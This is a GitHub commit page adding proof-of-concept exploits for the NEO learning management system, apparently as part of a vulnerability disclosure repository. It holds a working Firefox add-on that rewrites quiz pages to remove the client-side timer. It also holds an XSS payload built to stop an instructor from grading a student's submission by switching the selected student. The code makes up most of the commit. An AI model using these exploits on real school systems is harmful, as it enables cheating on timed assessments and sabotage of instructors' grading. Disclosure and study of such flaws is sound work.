Skip to content

Commit

Permalink
Added files, added an index to README
Browse files Browse the repository at this point in the history
  • Loading branch information
MM-coder committed Feb 17, 2021
1 parent f4becb7 commit 13f5205
Show file tree
Hide file tree
Showing 6 changed files with 144 additions and 0 deletions.
10 changes: 10 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,16 @@ This repository serves as a directory of both the writeups and the proof-of-conc

The timer on quiz assignments is client-side only, the server does not check the submission time, hence by disabling the timer client side we effectively disable the timer.

## Contents

* [`timer_bypass/matrix_neo_quiz_writeup.pdf`](/timer_bypass/matrix_neo_quiz_writeup.pdf) - Write up for the XSS vulnerabilities found in assigments, task descriptions and the user's portfolio
* [`timer_bypass/proof_of_concept/`](/timer_bypass/proof_of_concept) - Code for the proof-of-concept of the timer bypass, consitutes a Firefox addon which can be loaded as described [here](https://blog.mozilla.org/addons/2015/12/23/loading-temporary-add-ons/)
* [`xss_vulnerabilties/matrix_neo_xss_writeup.pdf`](/xss_vulnerabities/matrix_neo_xss_writeup.pdf) - Write up for the XSS vulnerabilities found in assigments, task descriptions and the user's portfolio
* [`xss_vulnerabilties/proof_of_concept/`](/xss_vulnerabities/proof_of_concept) - Payload that was created specifically to impede a instructor from correcting a student's submission.




## License

![License Badge](https://mirrors.creativecommons.org/presskit/buttons/80x15/svg/by-nc.svg)
Expand Down
Binary file added timer_bypass/matrix_neo_quiz_writeup.pdf
Binary file not shown.
104 changes: 104 additions & 0 deletions timer_bypass/proof_of_concept/main.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,104 @@
function handleResponse(requestDetails) {

let filter = browser.webRequest.filterResponseData(requestDetails.requestId);
let decoder = new TextDecoder("utf-8");
let encoder = new TextEncoder();

filter.ondata = event => {

// Decode the first block of data

let str = decoder.decode(event.data, {stream: true});

// Creating a dummy HTML element to simplify operations
const dummy = document.createElement('html');
dummy.innerHTML = str

// Get all script elements

let scripts = dummy.getElementsByTagName('script');

for (let i = 0; i < scripts.length; i++) {
if (!scripts[i].hasAttribute('src')) {
if (scripts[i].textContent.includes('init_quiz')) { // Is it the script tag that initializes the quiz?

// Not the most efficient way to go about doing this, but it works

let text = scripts[i].textContent;

// Create an array containing the arguments passed in to the init_quiz() function

text = text.replace(/(init_quiz\({)/g, '') // Remove the first part of the func call
text = text.replace(/(}\);)/g, '') // Remove the }), aka. the end of the func call
text = text.replace(/\r?\n|\r/g, '') // Remove whitespace
let args = text.split(/,(?=([^']+'[^']+')*[^']*$)/g) // Split using a regex rule

// Filter the messy array the regex provides

let uniqueArgs = args.filter((c, index) => {
return args.indexOf(c) === index;
});

let filteredArgs = Array()


// @NOTE(Mauro): Could probably use a filter here

for (let index = 0; index < uniqueArgs.length; index++) {
let arg = uniqueArgs[index]
if (arg !== undefined) {
if (!arg.startsWith(',')) {
filteredArgs.push(arg)
}
}
}

// Iterate through every element of arguments

let map = new Map();

for (let index = 0; index < filteredArgs.length; index++) {

// Using a substring, get the property name

let str = filteredArgs[index]
let key = str.substring(0, str.indexOf(':')).trim()
let value = str.replace(key + ':', '').trim()

// Logic case that checks and converts the different types

if (value.match(/(\d+)/) != null) {
value = Number(value)
}
else if (value === 'true' || value === 'false') {

// Given that 'true' and 'false' are JSON representations of true and false
// just JSON parse it

value = JSON.parse(value)
}
else {
value = value.replace(/'/g, '')
}

map[key] = value // Add value to map

}
map['total_seconds'] = null
text = `init_quiz(${JSON.stringify(map)})`
scripts[i].textContent = text
}
}

}
filter.write(encoder.encode(dummy.innerHTML));
filter.disconnect();
}
return {};
}

browser.webRequest.onBeforeRequest.addListener(
handleResponse,
{urls: ["https://*/student_take_quiz_assignment/display/*"], types: ["main_frame"]},
["blocking"]
);
16 changes: 16 additions & 0 deletions timer_bypass/proof_of_concept/manifest.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
{
"description": "LMS Vulnerability PoC",
"manifest_version": 2,
"name": "neolms-timer-bypass",
"version": "1.0",

"permissions": [
"webRequest",
"webRequestBlocking",
"<all_urls>"
],

"background": {
"scripts": ["main.js"]
}
}
Binary file added xss_vulnerabilities/matrix_neo_xss_writeup.pdf
Binary file not shown.
14 changes: 14 additions & 0 deletions xss_vulnerabilities/proof_of_concept/payload.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
window.onload = function() {
student = document.getElementById('selected_student');
children = student.children

for(var i = 0; i < children.length; i++) {
let child = children[i];
if (child.hasAttribute('selected')) {
child.removeAttribute('selected')
children[0].setAttribute('selected', 'selected')
}
}

change_student_to_grade(student, 'student');
}

0 comments on commit 13f5205

Please sign in to comment.